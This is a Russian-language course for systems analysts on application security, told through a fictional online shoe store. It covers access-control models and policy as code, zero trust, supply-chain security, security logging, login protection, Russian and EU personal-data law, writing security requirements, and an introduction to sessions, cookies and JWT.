Конструктор: кто разрешит, кто запретит и почему

Выберите пользователя, объект и действие. Три колонки — ответы трёх моделей с правилом, которое сработало. Ниже — что правильно с точки зрения бизнеса. Оранжевая рамка — модель ошиблась. Поищите случаи, где модели расходятся.

кто
что
действие и время
Найдено случаев, где модели расходятся: 0 из 4
Проще говоря. RBAC отвечает на вопрос «что вообще можно делать людям такой должности». ABAC — «можно ли при этих условиях». ReBAC — «связан ли этот человек с этим объектом». В реальных системах их сочетают: роль открывает раздел, отношение или атрибут решает про конкретный объект.

Политика как код

Политика как код (policy as code) — правила доступа хранятся не в разбросанных по сервисам if, а отдельными файлами, которые проходят ревью, тестируются и версионируются. Самый известный движок — Open Policy Agent (OPA, выпускник CNCF) с языком Rego.
внутренний регламент компании. Охранники на всех проходных не придумывают правила сами — у каждого одна и та же папка с регламентом. Поменяли регламент — поменялось поведение на всех проходных сразу.

Rego (OPA 1.x): правило для заказов

package botinok.orders

default allow := false          # всё запрещено по умолчанию

allow if {                      # покупатель — свои заказы
    input.action == "read"
    input.order.owner_id == input.user.id
}

allow if {                      # менеджер — заказы своего магазина
    input.action in {"read", "update"}
    "manager" in input.user.roles
    input.order.store == input.user.store
}

OpenFGA: модель отношений

model
  schema 1.1

type user

type store
  relations
    define manager: [user]

type order
  relations
    define owner: [user]
    define store: [store]
    define can_view: owner or manager from store
    define can_edit: manager from store

# факты-связи (кортежи):
#   order:10452#owner@user:anna
#   order:10452#store@store:msk
#   store:msk#manager@user:ira
PEP и PDP — две роли в проверке доступа. PDP (policy decision point) — тот, кто решает: движок политик. PEP (policy enforcement point) — тот, кто исполняет решение: шлюз или сервис, который спрашивает «можно?» и пропускает или отказывает.

Где проверять доступ

🛎 Шлюз — грубо

Есть ли токен, есть ли у роли доступ к разделу вообще (/admin/** — только сотрудникам). Шлюз не знает данных и не ответит, чей заказ.

⚙️ Сервис — точно

Проверка на конкретный объект и конкретные поля — там, где лежат данные. Плюс фильтрация списков: «мои заказы» строятся запросом с условием владельца, а не фильтром на фронте.

🖥 Фронтенд — не защита

Скрытая кнопка — удобство, а не замок. Запрос можно отправить руками, минуя интерфейс. Проверка «на кнопке» решает, что показать, но не что разрешить.

Типичные ошибки. «Роли на всё»: через год ролей больше, чем людей («менеджер-Казань-без-скидок-по-пятницам»). Проверка прав только на шлюзе. Права, зашитые в разных сервисах по-разному. Отсутствие ответа на вопрос «кто имеет доступ к данным Анны» — а его задаст и расследование, и закон о персональных данных.

глава 13 · нулевое доверие конец «крепости со рвом»

Разбирая инцидент, Вера задаёт неприятный вопрос: «Хорошо, в этот раз зашли через API. А если бы зашли через сервис отзывов — там старая библиотека. Куда бы дошли?» Борис: «Ну, дальше внутренняя сеть, там всё доверенное…» Вот в этом «всё доверенное» и проблема.

Крепость со рвом (castle-and-moat, защита периметра) — старая модель: снаружи — опасный интернет, внутри — доверенная сеть. Всё внимание на стене и воротах, а внутри можно почти всё.
офис, где пропуск проверяют только на входе в здание. Кто прошёл турникет — может зайти в бухгалтерию, серверную и кабинет директора. Одного потерянного пропуска достаточно для всего здания.
Нулевое доверие (zero trust, описано в NIST SP 800-207) — никакого доверия по признаку «я внутри сети». Каждый запрос аутентифицируется и авторизуется заново, права минимальны и временны, а система проектируется с мыслью «взлом уже произошёл» (assume breach).
офис, где пропуск проверяют у каждой двери, каждая дверь открывается только тем, кому туда нужно по работе, а пропуск действует до конца смены. Потерянный пропуск откроет одну-две двери и только до вечера.
Боковое перемещение (lateral movement) — когда нарушитель, захватив один узел, двигается от него к соседним. Сегментация (segmentation) — деление сети на отсеки с явными правилами, кто к кому может ходить. Как отсеки корабля из раздела про устойчивость: пробоина в одном не топит весь корабль.

Живая модель: взломан сервис отзывов

Представим, что через старую библиотеку захвачен сервис отзывов. Выберите модель сети и нажмите «▶ Посмотреть, куда дойдёт». Каждая попытка — обращение к соседнему узлу. Красное — узел захвачен или данные получены, зелёное — узел отказал.

Что именно поменялось. Ни один сервис не стал «неуязвимым». Сервис отзывов всё так же взломан. Поменялось другое: у каждого соединения есть проверяемая личность (mTLS из главы 6), у каждого сервиса — явный список, кто может к нему ходить (сетевые политики и политики сетки), у каждой учётной записи — только свои права (глава 2), секретов в переменных окружения нет (глава 8). Ущерб ограничен одним отсеком.

Из чего складывается на практике

mTLS и политики «кто кого вызывает» в сервисной сетке; сетевые политики (NetworkPolicy) в Kubernetes; отдельные учётки к базам для каждого сервиса; доступ сотрудников через проверку устройства и второй фактор вместо «всё открыто из VPN»; журналы всех отказов.

Чем платим

Каждое новое взаимодействие нужно явно разрешить — иначе оно не заработает. Нужна инвентаризация «кто кого вызывает» и её поддержка. Больше сертификатов и политик, больше работы у платформенной команды. Зато ответ на вопрос «что будет, если взломают X» становится коротким.

глава 14 · цепочка поставок чужой код, который стал вашим

Та самая старая библиотека в сервисе отзывов напомнила о неприятном факте: в «Ботинке» своего кода — процентов десять. Остальное — открытые библиотеки, базовые образы, сборочные инструменты, плагины CI. Всё это кто-то написал, и всему этому мы доверяем, часто не глядя.

Цепочка поставок ПО (software supply chain) — всё, что попадает в работающий продукт, кроме вашего собственного кода: прямые и транзитивные зависимости (зависимости зависимостей), базовые образы контейнеров, компиляторы, сборочные серверы, реестры пакетов, плагины. В OWASP Top 10:2025 это отдельный пункт A03.
ресторан. Повар может быть безупречен, но если поставщик привёз испорченное мясо, или кто-то подменил ящик по дороге, или на складе перепутали этикетки, — отравятся гости. Поэтому рестораны проверяют поставщиков, пломбы на ящиках и сертификаты на продукты.

Как это случалось

2020 — взломанная система сборки одного производителя ПО для мониторинга разослала клиентам обновление с закладкой, подписанное настоящим ключом. 2021 — Log4Shell: уязвимость в популярной библиотеке журналирования Java оказалась в тысячах систем, и многие долго не могли даже найти, где она у них. 2024 — закладка в утилите сжатия xz, которую годами готовил «помощник» сопровождающего. Сентябрь 2025 — через фишинг угнали учётную запись сопровождающего популярных npm-пакетов, а следом самораспространяющийся червь в npm похищал токены разработчиков.

Что общего

Ни в одном случае не ломали код самой пострадавшей компании. Ломали поставщика: сборку, учётку сопровождающего, реестр. И почти везде главным вопросом первых дней было: «А где у нас это вообще используется?»

SBOM: состав продукта

SBOM (software bill of materials, перечень компонентов ПО) — машиночитаемый список всего, из чего собран артефакт: библиотеки с точными версиями, лицензии, контрольные суммы. Стандартные форматы — SPDX (ISO/IEC 5962) и CycloneDX (ECMA-424). Создаётся автоматически при сборке (например, утилитами Syft, Trivy, cdxgen).
состав на упаковке продукта. Когда выясняется, что партия какого-то ингредиента опасна, магазин за минуту находит все товары, где он есть, — а не вскрывает каждую упаковку.
{
  "bomFormat": "CycloneDX",
  "specVersion": "1.6",
  "metadata": { "component": { "name": "botinok-reviews", "version": "3.14.0" } },
  "components": [
    { "type": "library", "group": "org.apache.logging.log4j", "name": "log4j-core",
      "version": "2.14.1",                    ← вот она, старая версия
      "purl": "pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1" },
    { "type": "library", "name": "jackson-databind", "version": "2.17.2", "purl": "…" }
  ]
}

Когда выходит новость о дыре в библиотеке, вопрос «где она у нас?» с SBOM решается поиском по всем перечням за минуты. Без SBOM — неделями, по одному репозиторию.

Подпись артефактов и происхождение сборки

Подпись артефактов — каждый собранный образ или пакет подписывается, а при развёртывании подпись проверяется. Популярный открытый набор инструментов — Sigstore: утилита cosign подписывает образы, центр Fulcio выдаёт короткоживущий сертификат, привязанный к личности сборки (например, к конкретному процессу CI), а журнал Rekor публично и неизменяемо записывает факт подписи. Хранить вечный ключ подписи не нужно.
пломба с номером на грузовике и запись в журнале склада: «грузовик №… опломбирован в 14:02 на заводе таком-то». Пломба цела и совпадает с журналом — груз не подменяли в дороге.
SLSA (Supply-chain Levels for Software Artifacts, произносят «сальса») — открытая спецификация уровней защиты сборки; актуальная версия — 1.1 (апрель 2025). Её основа — происхождение (provenance): подписанное описание того, кто, из какого коммита, на какой платформе и с какими параметрами собрал артефакт.
Уровень сборкиЧто требуетсяОт чего защищает
Build L0НичегоНи от чего
Build L1Происхождение создаётся автоматически при сборкеОт ошибок и путаницы: видно, из чего собрано
Build L2Сборка на выделенной платформе, происхождение подписано еюОт подделки происхождения после сборки
Build L3Укреплённая платформа: сборки изолированы друг от друга, ключ подписи недоступен шагам сборкиОт вмешательства в сборку изнутри, в том числе от соседних сборок

Путь кода до прода: где подменяют и чем защищают

Пройдите путь от разработчика до работающего сервиса. На каждом шаге — что может пойти не так и какая мера это закрывает.

Ещё несколько привычек. Фиксировать версии зависимостей в lock-файлах и образы — по дайджесту (image@sha256:…), а не по плавающему тегу latest. Тянуть пакеты через собственное зеркало-прокси. Регистрировать свои внутренние имена пакетов, чтобы публичный пакет с тем же именем не подменил внутренний (dependency confusion). Автоматически обновлять зависимости (Dependabot, Renovate) — но через обычное ревью и тесты. Минимальные базовые образы — подробнее в , защита конвейера — в .
НФТ-SEC-30. Для каждого выпускаемого образа при сборке формируется SBOM в формате
  CycloneDX и хранится вместе с образом.
НФТ-SEC-31. Образы подписываются в CI; кластер не запускает неподписанные образы
  и образы не из доверенного реестра (проверка при развёртывании).
НФТ-SEC-32. Зависимости с известными критическими уязвимостями блокируют сборку;
  срок устранения критической уязвимости в проде — не более 7 дней.

глава 15 · журналы и боты что записывать, что нельзя и как защитить вход

Самый обидный факт расследования: 48 000 запросов к чужим заказам за одну ночь. Каждый отдельный запрос выглядел нормально. Никто ничего не заметил, потому что никто ничего не записывал в пригодном для поиска виде. В OWASP Top 10:2025 это пункт A09 — сбои журналирования и оповещения.

Журнал событий безопасности (security log) — отдельный поток записей о событиях, важных для безопасности: входы, отказы в доступе, смена прав, действия администраторов. Журнал аудита (audit trail) — записи о том, кто что сделал с важными данными, хранимые так, что их нельзя тихо изменить. Технические журналы, метрики и трассировки — в разделе .
журнал на вахте и камеры в магазине. Пока всё спокойно, их никто не смотрит. Но без них после кражи невозможно понять, кто, когда и как. А если камеры пишут, но охранник не получает сигнала, когда кто-то ходит по складу в три ночи, — кражу обнаружат только утром.

✅ Что записывать

Входы — успешные и неуспешные; выход; смену пароля, почты, телефона, второго фактора. Отказы в доступе (401, 403, 404 на чужие объекты). Изменения ролей и прав. Действия администраторов и менеджеров (смена цен, возвраты). Выгрузки и массовый просмотр персональных данных. Срабатывания лимитов и проверок на бота. Ошибки проверки подписей и токенов.

⛔ Чего не записывать никогда

Пароли — даже неверные (часто это почти верный пароль или пароль от другого сайта). Токены, cookie сессий, ключи API, секреты из заголовка Authorization. Полный номер карты и тем более код CVV. Коды из SMS. Тела запросов целиком «на всякий случай». Персональные данные — только замаскированными.

Каждая запись отвечает на вопросы когда (время в UTC), кто (идентификатор пользователя или сервиса, не ФИО), откуда (IP, устройство), что (действие и объект), с каким результатом и номер запроса для связи с трассировкой:

{ "ts": "2026-09-14T02:17:44.311Z", "kind": "security", "event": "access_denied",
  "actor": "user:u-58812", "ip": "203.0.113.24", "action": "orders.read",
  "object": "order:10451", "reason": "not_owner", "http": 404,
  "trace_id": "4bf92f3577b34da6a3ce929d0e0e4736" }
А теперь — оповещение. Одна такая запись ничего не значит: Анна могла ошибиться цифрой. А 200 отказов «not_owner» от одного пользователя за 5 минут — это уже сигнал дежурному. Правила оповещения — такая же часть требований, как и сами записи.

Журнал — тоже ценность

В нём идентификаторы, IP, действия людей — это персональные данные. Доступ к журналам — по ролям, с аудитом.

Нельзя тихо исправить

Журналы уходят в отдельное хранилище, куда приложение может только дописывать. Иначе нарушитель первым делом сотрёт следы.

Ввод — не команда

Пишите журналы структурно (JSON). Если склеивать строки, перевод строки во вводе пользователя может создать поддельную запись.

Записывать или нет?

Решено 0 из 0.

Защита входа от перебора и ботов

Вторая дыра, которую нашла Вера: на форме входа нет никаких ограничений. Разберём, от чего защищают разные меры. Включайте меры и смотрите, какие угрозы закрыты и чем за это платит честный покупатель.

Перебор пароля

(brute force) Много попыток угадать пароль одного аккаунта.

Подстановка утёкших пар

(credential stuffing) Пары «почта + пароль», утёкшие с других сайтов, пробуют на вашем — люди повторяют пароли. Каждый аккаунт пробуют один-два раза, поэтому лимит «5 неудач на аккаунт» тут не срабатывает.

Распыление популярного пароля

(password spraying) Один популярный пароль пробуют на тысячах аккаунтов понемногу.

Блокировка чужого аккаунта

Если после 5 неудач аккаунт блокируется надолго, кто угодно может «запереть» Анну, специально ошибаясь её логином. Защита сама становится атакой на доступность.

Ещё две мелочи, которые важны. Одинаковый ответ «неверная почта или пароль» и одинаковое время ответа — чтобы по форме входа и восстановления нельзя было выяснить, зарегистрирован ли человек. И уведомление «вход с нового устройства»: Анна узнает о чужом входе раньше, чем об утечке её заказов.

глава 16 · персональные данные 152-ФЗ, GDPR и что это значит для архитектуры

В среду в «Ботинок» пришло письмо от регулятора, а юрист задал команде вопросы, на которые ни у кого не было ответа. Какие данные Анны мы храним и зачем? Где именно они лежат? Кто имеет к ним доступ? Сможем ли мы их удалить, если она попросит? Это не юридические вопросы — это вопросы к архитектуре.

Персональные данные, ПДн — любая информация, относящаяся к прямо или косвенно определённому человеку: ФИО, телефон, адрес, почта, история заказов, IP вместе с идентификатором пользователя. Главный закон в России — 152-ФЗ «О персональных данных», в Евросоюзе — GDPR (общий регламент по защите данных, действует с 2018 года).
медицинская карта. Её можно заводить, только когда есть зачем; в неё пишут только нужное; её не показывают кому попало; её хранят определённый срок; и у пациента есть право знать, что в ней, и требовать исправлений.

Что важно знать про 152-ФЗ в 2026 году

📍 Локализация

С 1 июля 2025 года (ч. 5 ст. 18 в редакции закона № 23-ФЗ) запись, систематизация, накопление, хранение, уточнение и извлечение ПДн граждан России допускаются только с использованием баз данных на территории России. Для архитектуры: первичная запись — в российскую базу; зарубежные облачные формы, CRM и аналитика для сбора ПДн — под запретом.

✍ Согласие — отдельным документом

С 1 сентября 2025 года согласие на обработку оформляется отдельно от других документов (нельзя «спрятать» его в оферту). Для системы: хранить факт, дату, версию текста и цели согласия — и уметь его отозвать.

⏱ Утечка: 24 и 72 часа

Об утечке нужно сообщить в Роскомнадзор в течение 24 часов, а о результатах внутреннего расследования — в течение 72 часов. Для системы: журналы и оповещения должны позволять вообще узнать об утечке за это время и понять её масштаб.

💸 Штрафы

С 30 мая 2025 года действуют штрафы за утечки, зависящие от числа пострадавших (для организаций — до 15 млн ₽), а за повторную утечку — оборотный штраф от 1 до 3 % выручки. Это уже не «копейки, проще заплатить».

GDPR коротко. Уведомить надзорный орган об утечке — в течение 72 часов. Право на удаление («право быть забытым», ст. 17). Штраф — до 20 млн евро или 4 % мирового оборота. Важная тонкость: псевдонимизированные данные по GDPR остаются персональными, а анонимные — уже нет. Если «Ботинок» продаёт в ЕС, действуют оба закона сразу.

Пять приёмов, которые должен знать аналитик

Минимизация (data minimization) — собирать только то, что нужно для заявленной цели, и хранить только пока нужно. Для доставки кроссовок нужны имя, телефон и адрес. Дата рождения и паспорт — нет. Данные, которых нет, не утекут.
Маскирование (masking) — показывать данные частично: +7 9•• •••-•4-17. Для экранов операторов, журналов, копий в тестовые среды.
Псевдонимизация (pseudonymization) — замена прямых идентификаторов псевдонимом (client_7f3a), а таблица соответствия хранится отдельно и под замком. Обратимо для того, у кого есть ключ.
Обезличивание, анонимизация (anonymization) — необратимое удаление связи с человеком: агрегаты, обобщения («Москва, 25–34 года»). Делать трудно: сочетание почтового индекса, даты рождения и пола часто однозначно выдаёт человека.
Токенизация (tokenization) — чувствительное значение (номер карты) заменяется токеном, а настоящее значение хранит отдельная защищённая служба (обычно платёжный провайдер). Магазин никогда не видит номер карты — и не попадает под самые строгие требования стандарта платёжных карт PCI DSS.

Одна и та же запись о заказе Анны — в разных видах. Нажимайте и смотрите, где каждый вид уместен.

Право на удаление: где живёт Анна

Анна пишет: «Удалите мои данные». Удалить строку из таблицы customers — это меньше половины дела. Найдите все места, где у «Ботинка» лежат её данные: нажимайте на каждое место, чтобы увидеть, как удалять там.

Найдено мест: 0 из 0
Удаление ≠ «удалить всё». Некоторые данные закон обязывает хранить: например, бухгалтерские и налоговые документы о продаже. Правильная формулировка требования: удалить или обезличить всё, что не обязаны хранить по другим законам, а обязательное — хранить отдельно, с ограниченным доступом, до конца срока. Поэтому у каждой таблицы с ПДн в модели данных должны быть цель, основание и срок хранения.

глава 17 · требования и ревью как аналитику написать требования безопасности

Итог расследования Вера и Олег оформляют не отчётом «мы молодцы», а изменениями в требованиях и в процессе ревью. Потому что следующую функцию будут делать другие люди — и дыру надо закрыть в процессе, а не в памяти.

Плохое и хорошее требование

Требование безопасности должно быть проверяемым: тестировщик должен суметь написать тест, а ревьюер — ответить «выполнено или нет».

❌ Так не пишут✅ Так пишут
Система должна быть защищённой.Все внешние взаимодействия — только по TLS 1.2+; HTTP перенаправляется на HTTPS; включён HSTS с max-age ≥ 1 год.
Пароли хранятся безопасно.Пароли хранятся только как хеш Argon2id (память ≥ 19 МиБ, проходов ≥ 2) с уникальной солью; пароли не попадают в журналы ни в каком виде.
Пользователь видит только свои заказы.Метод GET /orders/{id} возвращает заказ, только если order.owner_id = идентификатору из токена либо у пользователя есть роль «менеджер» магазина этого заказа; иначе — 404; событие access_denied пишется в журнал безопасности.
Защитить вход от взлома.Не более 10 неудачных попыток входа на аккаунт за 15 минут; после 3 неудач — проверка на бота; при входе с нового устройства — уведомление на почту; блокировки аккаунта нет.
Логировать действия.Изменение цены пишется в журнал аудита: кто, когда, товар, старая и новая цена, номер запроса; журнал хранится 3 года, приложение не может его изменять.
Соблюдать 152-ФЗ.Для каждого поля с ПДн в модели данных указаны цель, основание обработки и срок хранения; по истечении срока запись обезличивается задачей по расписанию.

Сценарии злоупотребления

Сценарий злоупотребления (abuse case, misuse case) — пользовательская история «наоборот»: что хочет сделать нарушитель и как система должна этому помешать. Пишется рядом с обычными историями и превращается в критерии приёмки.
История злоупотребления
  Как посторонний пользователь, я хочу подставить в адрес чужой номер заказа,
  чтобы увидеть чужие данные доставки.

Критерии приёмки
  Дано:  Анна вошла, заказ №10451 принадлежит другому покупателю
  Когда: Анна запрашивает GET /api/v1/orders/10451
  Тогда: ответ 404, тело не содержит данных заказа
    И    в журнале безопасности событие access_denied, reason = not_owner
    И    при 50+ таких событиях от одного пользователя за 5 минут — оповещение

Матрица ролей и прав

Главный документ про доступ. Строки — операции, столбцы — роли, в клетках — не только «да / нет», но и условие на объект. Именно условия были пропущены в старых требованиях «Ботинка».

ОперацияГостьПокупательМенеджер магазинаАналитикСлужба доставки (сервис)
Смотреть каталогдадададанет
Смотреть заказнеттолько свойтолько своего магазинанеттолько оплаченный, только адрес и телефон
Отменить заказнетсвой, до отправкисвоего магазина, с причинойнетнет
Изменить ценунетнетсвоего магазина, в рабочее время, скидка ≤ 30 %нетнет
Отчёт о продажахнетнетпо своему магазинутолько агрегаты без ПДннет
Выгрузить клиентовнетнетнетнет (только через заявку и аудит)нет

Чек-лист ревью безопасности архитектуры

Пройдите по списку для любой новой функции. Отмечайте пункты, на которые у команды есть ответ, записанный в документе, а не «ну, наверное, есть».

Готовность: 0 %

глава 18 · проверь себя вопросы по расследованию

Решено 0 из 0.

Сортировщик: какой это пункт OWASP Top 10:2025

Решено 0 из 0.

Дальше → OAuth 2.0, OpenID Connect и JWT: как устроены вход, токены, единый вход и почему «войти через…» — это не то же самое, что «дать доступ»

Токен — это пропуск. OAuth — способ выдать пропуск, не отдавая ключей от квартиры. В этом разделе мы разберём, как Анна входит в «Ботинок» и во все его приложения. Что за строка eyJhbGci… летит в каждом запросе. Как API проверяет её за миллисекунду и как её крадут. История одна: «Ботинок» разросся — мобильное приложение, «Бонусы», служба доставки-партнёр, приложение для телевизора. И каждый раз встаёт один вопрос: кто ты и что тебе можно.

зачем это зачем разбираться в OAuth, OIDC и JWT

карта раздела одна история, шестнадцать глав

Главы идут по порядку, каждая опирается на предыдущую. Самое важное — глава 6: там вход разобран по одному HTTP-запросу, и там же код входа крадут. Нажмите на главу, чтобы перейти к ней.

глава 1 · завязка «Войти через…»: кто ты и что тебе можно

Весной у «Ботинка» был один сайт и одна форма входа: логин, пароль, cookie. Всё жило в одном монолите, и всё было просто. К осени появились:

  • мобильное приложение — его пишет разработчик Борис;
  • программа лояльности «Бонусы» — отдельный сайт на своём адресе;
  • служба доставки-партнёр «Мигом». Ей нужны адрес Анны и статус заказа — и больше ничего;
  • приложение «Ботинок ТВ» для телевизора, где пароль пультом не наберёшь;
  • десяток внутренних сервисов: заказы, оплата, склад. Склад каждую ночь сам сверяет заказы — без всякого пользователя.

Аналитику Олегу дали задачу: «Сделать вход единым и дать партнёру доступ к заказам». Борис предложил быстрое решение: «Заведём „Мигом“ технического пользователя с паролем, пусть ходят в API как обычный покупатель». Специалист по безопасности Вера возразила: «Тогда у партнёра будут права на всё и навсегда. И мы даже не узнаем, какие данные он взял». Весь раздел — о том, как сделать правильно. Начнём с двух слов, которые путают чаще всего.

Аутентификация (authentication, коротко AuthN) — проверка, что ты тот, за кого себя выдаёшь. Ответ на вопрос «кто ты?». Доказательством служит пароль, код из СМС, отпечаток пальца, ключ доступа (passkey).
на ресепшене гостиницы сверяют паспорт с лицом. Это аутентификация: гостиница убедилась, что перед ней Анна.
Авторизация (authorization, коротко AuthZ) — решение, что тебе можно. Ответ на вопрос «что тебе разрешено?».
после паспорта Анне дают ключ-карту. Карта открывает номер 512 и спортзал. Номер соседа и кухню ресторана она не открывает. Это авторизация.

1. Идентификация

Назваться. «Я — anna@mail.ru». Это ещё ничего не доказывает: назваться Анной может кто угодно.

2. Аутентификация

Доказать. Пароль, код, отпечаток. После неё система уверена, кто перед ней. Ошибка на этом этапе — ответ 401: «не знаю, кто ты».

3. Авторизация

Получить права. «Анне можно смотреть свои заказы, нельзя — чужие». Ошибка здесь — 403: «знаю, кто ты, но нельзя».

Почему 401 называется Unauthorized. Историческая неточность в названии кода. По смыслу 401 — «не аутентифицирован», а 403 Forbidden — «не авторизован». Путаницу разбирали во вкладке про шлюз; здесь просто держите в голове: 401 — предъяви пропуск, 403 — пропуск есть, но сюда с ним нельзя.

Беда, из-за которой придумали OAuth

В конце 2000-х многие сервисы просили у пользователя пароль от его почты. Например, чтобы «найти друзей по адресной книге». Пользователь вводил пароль в чужую форму. Сервис получал полный доступ к почте, навсегда. Он мог читать все письма, отправлять письма от имени пользователя и хранить пароль у себя. Отозвать доступ можно было только сменой пароля — а она ломала все остальные приложения. Эту беду называют антипаттерном «отдай пароль» (password anti-pattern).

Слишком много прав

Партнёру нужен адрес доставки, а он получает всё: историю заказов, карты, смену пароля.

Навсегда

Нет срока действия. Нельзя отозвать доступ одного приложения, не сломав остальные.

Пароль у чужих

Пароль хранится у каждого, кому его дали. Взломали одного партнёра — утёк пароль Анны. А пароль она наверняка использует и в других местах.

Делегирование доступа — вы разрешаете кому-то действовать от вашего имени в узких рамках: что именно можно и до какого срока. И можете в любой момент отозвать разрешение. Пароль при этом никому не передаётся.
доверенность на получение посылки. В ней написано: кому, что именно (одна посылка), до какого числа. Почта проверяет доверенность, а ключи от вашей квартиры курьеру не нужны.

Кто в нашей истории и что ему нужно

КтоЧто ему нужноЧем решаемГлава
👩 Анна в мобильном приложенииВойти один раз и видеть свои заказыAuthorization Code + PKCE, refresh-токен6, 7
🛍 Анна на сайте «Магазин» и 🎁 в «Бонусах»Не вводить пароль дважды; «Выйти» — выйти вездеOpenID Connect, единый вход (SSO), единый выход11, 12
🚚 Партнёр «Мигом»Видеть адрес и статус заказа — только с согласия АнныOAuth со scope address:read5
📺 «Ботинок ТВ»Войти без клавиатурыDevice Authorization Grant9
🏭 Склад ночьюЧитать заказы от своего имени, без пользователяClient Credentials9
📦 Заказы → 💳 ОплатаПередать дальше «это делает Анна»Token Exchange9, 14
🌐 Браузерная версия магазинаНе отдать токен вредному скриптуBFF, HttpOnly-cookie, DPoP13
Этот раздел углубляет две соседние вкладки. Общие угрозы и принципы (наименьшие привилегии, защита в глубину, шифрование) — в «Безопасности». Как шлюз проверяет токен на входе и почему нельзя слепо верить заголовку X-User-Id — в «Gateway, BFF, mesh».

глава 2 · основа сессия или токен: как сайт помнит, что вы вошли

Протокол HTTP ничего не помнит между запросами. Каждый запрос для сервера — как первый. Анна ввела пароль, страница обновилась — и сервер уже не знает, кто перед ним. Значит, после входа браузер должен что-то приносить с каждым запросом. Есть два способа: номерок или пропуск.

Сессия на сервере (server-side session) — сервер после входа заводит у себя запись: «сессия q8Zt… — это Анна, вошла в 12:00». Браузеру отдаёт только номер сессии. Сам номер ничего не значит: смысл хранится у сервера — в памяти, в базе или в Redis.
гардероб. Вам дают номерок, куртка висит у гардеробщика. Номерок без гардероба бесполезен. Потеряли номерок — гардеробщик просто перестанет выдавать по нему куртку.
Cookie (куки) — маленькая запись, которую сервер просит браузер сохранить (заголовок Set-Cookie). Браузер сам прикладывает её к каждому следующему запросу на тот же сайт (заголовок Cookie).
Токен с содержимым (self-contained token, чаще всего JWT) — пропуск, внутри которого всё написано: кто, до какого времени, что можно. Всё это заверено подписью. Серверу не нужно ничего хранить: он проверяет подпись и читает.
бейдж участника конференции: фото, имя, «доступ во все залы до 18:00» и голограмма. Охранник у любого зала смотрит на голограмму и не звонит в регистратуру. Зато если бейдж украли — охранник пропустит вора до 18:00.

Как выглядит сессия по проводу

POST /login HTTP/1.1
Host: botinok.ru
Content-Type: application/x-www-form-urlencoded

username=anna%40mail.ru&password=••••••••

HTTP/1.1 302 Found
Location: /
Set-Cookie: __Host-sid=q8ZtXv2Lw0…4f; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=1800

── следующий запрос ──
GET /orders HTTP/1.1
Host: botinok.ru
Cookie: __Host-sid=q8ZtXv2Lw0…4f

── на сервере, таблица сессий ──
q8ZtXv2Lw0…4f → пользователь u-7f3a91 (Анна), вошла 12:00, активна 12:14
HttpOnly
JavaScript на странице не может прочитать cookie через document.cookie. Вредный скрипт (XSS — внедрённый в страницу чужой код) не унесёт номер сессии.
Secure
Cookie уходит только по HTTPS. В открытом Wi-Fi по http:// её не подсмотрят.
SameSite
Посылать ли cookie, если запрос пришёл с другого сайта. Strict — никогда. Lax — только при обычном переходе по ссылке (GET), но не для форм и фоновых запросов с чужих сайтов. None — всегда (и тогда браузер требует Secure). Защищает от подделки межсайтовых запросов (CSRF). Указывайте явно: поведение без атрибута у браузеров разное.
Max-Age / Expires
Срок жизни cookie. Без них cookie «сессионная»: живёт до закрытия браузера — но браузеры умеют восстанавливать вкладки вместе с такими cookie. Срок сессии надёжнее ограничивать на сервере.
__Host-
Префикс имени. Браузер примет такую cookie, только если есть Secure, Path=/ и нет Domain. Так соседний поддомен не подложит свою cookie с тем же именем.

Соберите cookie сами: какие атаки она отобьёт

Включайте атрибуты и пробуйте атаки. Задача — отбить все три атаки и при этом не сломать обычный переход Анны по ссылке из письма.


    
Что вы увидите. SameSite=Strict отбивает подделку запроса, но Анна, пришедшая по ссылке из письма, окажется «не вошедшей»: браузер не приложит cookie к переходу с чужого сайта. Поэтому для сессионной cookie обычно выбирают Lax, а опасные действия дополнительно защищают CSRF-токеном — случайным значением в форме, которое злой сайт не знает.

С состоянием или без

С состоянием (stateful) — сервер хранит запись о каждом вошедшем, и любой его экземпляр должен до неё дотянуться. Без состояния (stateless) — сервер ничего не хранит: всё нужное приносит сам запрос.
гардероб — с состоянием: без гардеробщика и вешалок номерок ничего не стоит. Бейдж — без состояния: его понимает любой охранник в любом здании, где знают голограмму.

Нажмите на строку, чтобы раскрыть пояснение.

Проще говоря. Сессия и токен — не соперники. Обычному сайту хватит сессии с cookie: её легко отозвать, и у неё меньше способов утечь. Токены нужны там, где много API и сервисов, мобильные клиенты, партнёры и разные домены. А для браузера лучший вариант часто их сочетание: браузеру — cookie сессии, внутри на сервере — токены. Эту схему (BFF) разберём в главе 13.
Частая ошибка. «Сделаем без состояния: положим JWT в localStorage вместо сессии». В итоге токен читает любой вредный скрипт, выход работает плохо (токен живёт до срока), а обещанной экономии нет — всё равно заводят «чёрный список» отозванных токенов, то есть то же состояние. Как устроены HTTP и HTTPS, в которых живут cookie, — во вкладке про сеть.

глава 3 · JWT JWT по косточкам: что за строка «eyJhbGci…»

После входа мобильное приложение Бориса получает токен доступа. В каждом запросе к API он летит в заголовке Authorization: Bearer eyJhbGci…. Разберём эту строку до последнего символа.

JWT (JSON Web Token, читается «джот», стандарт RFC 7519) — компактная строка из трёх частей через точку: заголовок.полезная нагрузка.подпись. Первые две — это JSON, записанный в base64url. Третья — подпись первых двух.
пломба на электросчётчике. Счётчик видно целиком, показания может прочитать кто угодно. Но если его вскрыть и подкрутить, пломба будет сорвана — и контролёр это сразу увидит.
base64url — способ записать любые байты буквами, цифрами и знаками - и _, чтобы строка спокойно жила в адресе и заголовке. Это не шифрование: раскодировать может любой, без ключа, за секунду.
азбука Морзе. Это способ записи, а не секрет: кто знает азбуку, прочтёт всё.
Утверждение (claim) — одно поле внутри токена: «кто», «кем выдан», «до когда». Сервер авторизации утверждает, подпись заверяет.
Подпись (JWS, JSON Web Signature, RFC 7515) — число, которое может вычислить только владелец секретного ключа. Изменился хоть один символ в заголовке или нагрузке — подпись перестаёт сходиться.

Декодер и редактор токена

Перед вами токен доступа Анны. Он выпущен сервером авторизации id.botinok.ru в 12:00:00 по Москве и живёт 5 минут. Цвета частей совпадают с цветами панелей ниже. Попробуйте три вещи: исправить права в токене, сдвинуть часы за срок действия и отнести токен не в тот API.

Честно о подписи. Base64url и JSON здесь настоящие — можете раскодировать строку любым декодером. Подпись — упрощённая имитация: SHA-256 от «секрет сервера + данные». Настоящий RS256 — это подпись закрытым ключом RSA. Но поведение то же: изменили данные — подпись не сходится, а подделать её без ключа нельзя.

Заголовок header · как проверять

Нагрузка payload · можно править руками

Подпись signature

Куда пришёл токен

—

    Что означает каждое поле

    ПолеСмыслПримерЧто проверяет API
